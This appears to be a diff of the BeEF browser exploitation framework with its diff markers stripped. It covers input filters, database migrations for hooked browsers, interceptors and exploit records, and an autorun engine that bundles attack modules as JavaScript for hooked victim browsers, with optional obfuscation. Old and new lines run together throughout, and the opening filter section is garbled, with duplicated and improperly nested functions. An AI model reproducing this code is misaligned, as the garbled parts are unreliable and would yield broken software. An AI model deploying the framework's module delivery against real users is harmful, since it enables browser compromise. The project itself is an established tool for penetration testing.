return false if has_non_printable_char?(str)
true
end
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
return false if has_non_printable_char?(str)
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_\:]/).nil?
true
end
true
end
end
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_:]/).nil?
true
end
end
end

View File

@@ -3,59 +3,60 @@
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
true
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
true
end
def self.is_valid_verb?(verb)
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true unless uri.nil?
# OPTIONS * is not yet supported
# return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
# return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/\r+/, '')
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/\r+/, '')
return true if 'Host:'.eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != '/'
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
def self.is_valid_verb?(verb)
["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true if !uri.nil?
# OPTIONS * is not yet supported
#return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
#return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/[\r]+/,"")
["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/[\r]+/,"")
return true if "Host:".eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != ?/
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => /
while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
end

View File

@@ -4,27 +4,27 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
true
end
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
true
end
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
end
end
end
end

View File

@@ -5,12 +5,11 @@
#
module BeEF
module HBManager
# Get hooked browser by session id
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.where(:session => sid).first
BeEF::Core::Models::HookedBrowser.where(session: sid).first
end
# Get hooked browser by id
@@ -19,6 +18,5 @@ module BeEF
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end
end

View File

@@ -12,8 +12,8 @@ module BeEF
attr_writer :logger
def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = self.name
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = name
log.level = Logger::WARN
end
end

View File

@@ -1,12 +1,8 @@
class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
end

View File

@@ -1,19 +1,15 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateLogs < ActiveRecord::Migration[6.0]
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
end

View File

@@ -1,16 +1,12 @@
class CreateCommands < ActiveRecord::Migration[6.0]
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
end

View File

@@ -1,15 +1,11 @@
class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
end

View File

@@ -1,18 +1,14 @@
class CreateExecutions < ActiveRecord::Migration[6.0]
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
t.integer :rule_id
end
end
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
t.integer :rule_id
end
end
end

View File

@@ -1,20 +1,16 @@
class CreateRules < ActiveRecord::Migration[6.0]
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
create_table :web_cloners do |t|
t.text :uri
t.text :mount
end
end
def change
create_table :web_cloners do |t|
t.text :uri
t.text :mount
end
end
end

View File

@@ -1,11 +1,7 @@
class CreateMassMailer < ActiveRecord::Migration[6.0]
def change
create_table :mass_mailers do |t|
#todo fields
end
end
def change
create_table :mass_mailers do |t|
# TODO: fields
end
end
end

View File

@@ -1,17 +1,13 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
end

View File

@@ -1,15 +1,11 @@
class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
end

View File

@@ -1,44 +1,40 @@
class CreateHttp < ActiveRecord::Migration[6.0]
def change
create_table :https do |t|
t.text :hooked_browser_id
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, :default => true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, :default => 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, :default => "waiting"
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
def change
create_table :https do |t|
t.text :hooked_browser_id
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-domain requests are allowed
t.boolean :allow_cross_domain, default: true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, default: 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-domain
t.text :has_ran, default: 'waiting'
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_statuss do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
def change
create_table :rtc_statuss do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
create_table :rtc_manages do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: "waiting"
end
end
def change
create_table :rtc_manages do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
create_table :rtc_signals do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: "waiting"
end
end
def change
create_table :rtc_signals do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_module_statuss do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
def change
create_table :rtc_module_statuss do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
create_table :xssraysdetails do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
def change
create_table :xssraysdetails do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
end

View File

@@ -1,14 +1,10 @@
class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
create_table :dns_rules do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
def change
create_table :dns_rules do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateIpecExploit < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploits do |t|
t.text :name
t.text :protocol
t.text :os
end
end
def change
create_table :ipec_exploits do |t|
t.text :name
t.text :protocol
t.text :os
end
end
end

View File

@@ -1,13 +1,9 @@
class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
def change
create_table :ipec_exploit_runs do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
def change
create_table :ipec_exploit_runs do |t|
t.boolean :launched
t.text :http_headers
t.text :junk_size
end
end
end

View File

@@ -1,12 +1,8 @@
class CreateAutoloader < ActiveRecord::Migration[6.0]
def change
create_table :autoloaders do |t|
t.references :command
t.boolean :in_use
end
end
def change
create_table :autoloaders do |t|
t.references :command
t.boolean :in_use
end
end
end

View File

@@ -1,18 +1,14 @@
class CreateXssraysScan < ActiveRecord::Migration[6.0]
def change
create_table :xssraysscans do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
def change
create_table :xssraysscans do |t|
t.references :hooked_browser
t.datetime :scan_start
t.datetime :scan_finish
t.text :domain
t.text :cross_domain
t.integer :clean_timeout
t.boolean :is_started
t.boolean :is_finished
end
end
end

View File

@@ -6,9 +6,7 @@
module BeEF
module Core
module AutorunEngine
class Engine
include Singleton
def initialize
@@ -20,8 +18,8 @@ module BeEF
@debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL']
@VERSION_STR = ['XP','Vista']
@VERSION = ['<', '<=', '==', '>=', '>', 'ALL']
@VERSION_STR = %w[XP Vista]
end
# Check if the hooked browser type/version and OS type/version match any Rule-sets
@@ -30,13 +28,12 @@ module BeEF
def run(hb_id, browser_name, browser_version, os_name, os_version)
are = BeEF::Core::AutorunEngine::Engine.instance
match_rules = are.match(browser_name, browser_version, os_name, os_version)
are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
are.trigger(match_rules, hb_id) if !match_rules.nil? && match_rules.length > 0
end
# Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id)
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
@@ -48,26 +45,25 @@ module BeEF
execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode
mods_bodies = Array.new
mods_codes = Array.new
mods_conditions = Array.new
mods_bodies = []
mods_codes = []
mods_conditions = []
# this ensures that if both rule A and rule B call the same module in sequential mode,
# execution will be correct preventing wrapper functions to be called with equal names.
rule_token = SecureRandom.hex(5)
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
options.push({'name' => k, 'value' => v})
cmd_mod['options'].each do |k, v|
options.push({ 'name' => k, 'value' => v })
replace_input = true if v == '<<mod_input>>'
end
command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition'])
@@ -75,32 +71,31 @@ module BeEF
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else
wrapper = nil
print_error "Chain mode looks wrong!"
# TODO catch error, which should never happen as values are checked way before ;-)
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else
wrapper = nil
print_error 'Chain mode looks wrong!'
# TODO: catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::Models::Execution.new(
:session_id => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:rule_token => rule_token,
:mod_body => wrapper,
:is_sent => false,
:id => rule_id
session_id: hb_session,
mod_count: modules.length,
mod_successful: 0,
rule_token: rule_token,
mod_body: wrapper,
is_sent: false,
id: rule_id
)
are_exec.save!
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
print_more "Triggering ruleset #{rule_ids} on HB #{hb_id}"
end
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of.
# - sequential chain with delays (setTimeout stuff)
@@ -114,7 +109,7 @@ module BeEF
delayed_exec = ''
c = 0
while c < mods.length
delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
wrapped_mod = "#{mod_body}\n"
wrapper += wrapped_mod
@@ -141,16 +136,17 @@ module BeEF
# if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
wrapper, delayed_exec = '',''
delayed_exec_footers = Array.new
wrapper = ''
delayed_exec = ''
delayed_exec_footers = []
c = 0
while c < mods.length
if mods.length == 1
i = c
else
i = c + 1
end
i = if mods.length == 1
c
else
c + 1
end
code_snippet = ''
mod_input = ''
@@ -159,11 +155,11 @@ module BeEF
mod_input = 'mod_input'
end
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
conditions[i] = true if conditions[i].nil? || conditions[i] == ''
if c == 0
# this is the first wrapper to prepare
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
#{mods[order[c]][:mod_name]}_#{rule_token}();
@@ -185,7 +181,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
delayed_exec_footer = %|
}
}
}
@@ -198,10 +194,10 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is one of the wrappers in the middle of the chain
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
@@ -223,7 +219,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
delayed_exec_footer = %|
}
}
}
@@ -236,9 +232,9 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer)
else
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is the last wrapper to prepare
delayed_exec += %Q|
delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet}
@@ -258,7 +254,6 @@ module BeEF
wrapper
end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database.
# Returns the raw module body after template substitution.
@@ -266,16 +261,16 @@ module BeEF
config = BeEF::Core::Configuration.instance
begin
command = BeEF::Core::Models::Command.new(
:data => options.to_json,
:hooked_browser_id => hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i,
:instructions_sent => true
data: options.to_json,
hooked_browser_id: hb_id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
creationdate: Time.new.to_i,
instructions_sent: true
)
command.save!
command_module = BeEF::Core::Models::CommandModule.find(mod.id)
if (command_module.path.match(/^Dynamic/))
if command_module.path.match(/^Dynamic/)
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
@@ -293,18 +288,18 @@ module BeEF
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n"
else
command_body = command_module.output + "\n\n"
command_body = command_module.output + "\n\n"
end
# @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = ''
result = %Q|
mod_input = replace_input ? 'mod_input' : ''
result = %|
var #{mod.name}_#{rule_token} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)}
};
@@ -312,8 +307,8 @@ module BeEF
var #{mod.name}_#{rule_token}_mod_output = null;
|
return {:mod_name => mod.name, :mod_body => result}
rescue => e
{ mod_name: mod.name, mod_body: result }
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
@@ -324,56 +319,47 @@ module BeEF
#
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input)
begin
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index,wrapper_end_index = nil
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index, wrapper_end_index = nil
cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index
break
end
end
if wrapper_start_index.nil?
print_error "[ARE] Could not find module start index"
cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index
break
end
end
print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
if wrapper_end_index.nil?
print_error "[ARE] Could not find module end index"
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
if cleaned_cmd_body.eql?('')
print_error "[ARE] No command to send"
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n")
print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"', 'mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
final_cmd_body
else
cleaned_cmd_body
end
rescue StandardError => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}"
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
@@ -382,105 +368,119 @@ module BeEF
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def match(browser, browser_version, os, os_version, rule_id=nil)
def match(browser, browser_version, os, os_version, rule_id = nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::Models::Rule.find(rule_id)]
else
rules = BeEF::Core::Models::Rule.all
end
return nil if rules == nil
rules = if rule_id.nil?
BeEF::Core::Models::Rule.all
else
[BeEF::Core::Models::Rule.find(rule_id)]
end
return nil if rules.nil?
return nil unless rules.length > 0
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
print_info '[ARE] Checking if any defined rules should be triggered on target.'
# TODO: handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
browser_match = false
os_match = false
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
